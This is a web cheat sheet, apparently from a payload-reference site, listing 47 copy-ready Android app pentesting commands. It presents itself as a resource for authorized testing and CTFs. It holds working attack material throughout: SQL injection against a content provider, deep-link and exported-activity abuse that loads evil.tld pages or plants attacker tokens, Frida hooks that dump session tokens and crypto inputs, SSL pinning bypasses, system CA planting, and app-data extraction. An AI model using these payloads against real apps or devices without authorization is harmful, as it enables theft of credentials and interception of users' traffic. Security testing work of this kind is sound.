Android application pentesting reference — APK decompilation with apktool and jadx, Frida runtime hooking, SSL/TLS pinning bypass, exported component and intent abuse, deep link / App Links testing, and Keystore inspection. (47 payloads)
adb shell pm path com.target.appadb pull /data/app/~~xQ../com.target.app-1/base.apk ./base.apkapktool d base.apk -o out/apktool b out/ -o patched.apkjadx -d jadx-out/ base.apk # or: jadx-gui base.apkunzip -o base.apk -d unzipped/ && ls unzipped/lib/d2j-dex2jar.sh classes.dex -o app.jargrep -nE 'android:exported="true"' out/AndroidManifest.xmlgrep -nE 'android:debuggable="true"|usesCleartextTraffic="true"|allowBackup="true"' out/AndroidManifest.xmlgrep -rniE 'api[_-]?key|secret|password|token|bearer|aws_|AIza' jadx-out/ unzipped/res/apkleaks -f base.apkgrep -rn 'network_security_config' out/AndroidManifest.xml && cat out/res/xml/network_security_config.xmlgrep -rniE 'firebaseio\.com|firebasedatabase\.app' jadx-out/ unzipped/semgrep --config p/mobsfscan jadx-out/ # or run mobsf on the APKadb shell am start -n com.target.app/.AdminActivityadb shell am start -n com.target.app/.WebActivity --es url 'https://evil.tld'adb shell am broadcast -a com.target.app.ACTION_SYNC --es token AAAadb shell content query --uri content://com.target.app.provider/usersadb shell content query --uri content://com.target.app.provider/users --where "id='1' OR '1'='1'"drozer console connect then: run app.activity.info -a com.target.appadb shell run-as com.target.app cat /data/data/com.target.app/shared_prefs/*.xmladb shell dumpsys package com.target.app | grep -A3 -iE 'Schemes|Authorities|android.intent.action.VIEW'adb shell am start -W -a android.intent.action.VIEW -d 'targetapp://reset?token=ATTACKER'adb shell am start -a android.intent.action.VIEW -d 'https://target.com/pay?amount=1'curl -s https://target.com/.well-known/assetlinks.json | jq .adb shell am start -a android.intent.action.VIEW -d 'targetapp://webview?url=https://evil.tld/x.html'Build a clickable PoC: <a href="targetapp://reset?token=ATTACKER">tap</a>frida-ps -Uai # list installed/running apps on the USB devicefrida -U -f com.target.app -l hook.js --no-pauseJava.perform(function(){ var c=Java.use('com.target.app.Crypto'); c.encrypt.implementation=function(s){ console.log('[+] enc input:',s); return this.encrypt(s); }; });Java.choose('com.target.app.Session', { onMatch:function(o){ console.log('token=', o.token.value); }, onComplete:function(){} });frida -U -n com.target.app --runtime=v8 -l rootbypass.jsobjection -g com.target.app explore then: android hooking watch class com.target.app.Loginandroid keystore list (inside objection)frida -U -f com.target.app -l frida-multiple-unpinning.js --no-pauseobjection -g com.target.app explore then: android sslpinning disable<network-security-config><base-config><trust-anchors><certificates src="user"/></trust-anchors></base-config></network-security-config>openssl x509 -inform DER -in burp.der -out burp.pem && hash=$(openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1) && adb push burp.pem /system/etc/security/cacerts/$hash.0Java.use('okhttp3.CertificatePinner').check.overload('java.lang.String','java.util.List').implementation=function(){ return; };adb shell settings put global http_proxy 192.168.1.50:8080 (or use Wi-Fi proxy / adb reverse tcp:8080 tcp:8080)adb shell run-as com.target.app sqlite3 databases/app.db '.tables' '.dump'adb backup -f data.ab com.target.app && dd if=data.ab bs=1 skip=24 | zlib-flate -uncompress | tar xvf -Hook javax.crypto.spec.SecretKeySpec.$init and Cipher.doFinal with FridaCheck KeyGenParameterSpec: setUserAuthenticationRequired / setInvalidatedByBiometricEnrollmentkeytool -list -printcert -jarfile base.apk (or: apksigner verify --print-certs base.apk)grep -rniE 'MODE_WORLD_READABLE|MODE_WORLD_WRITEABLE|getExternalFilesDir|getExternalStorage' jadx-out/Inspect EncryptedSharedPreferences / Jetpack Security usage vs. plain getSharedPreferencesLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 47 Android Apps payloads for testing Android App Security Testing vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Android Apps payloads are completely free, with no account required. Everything runs in your browser.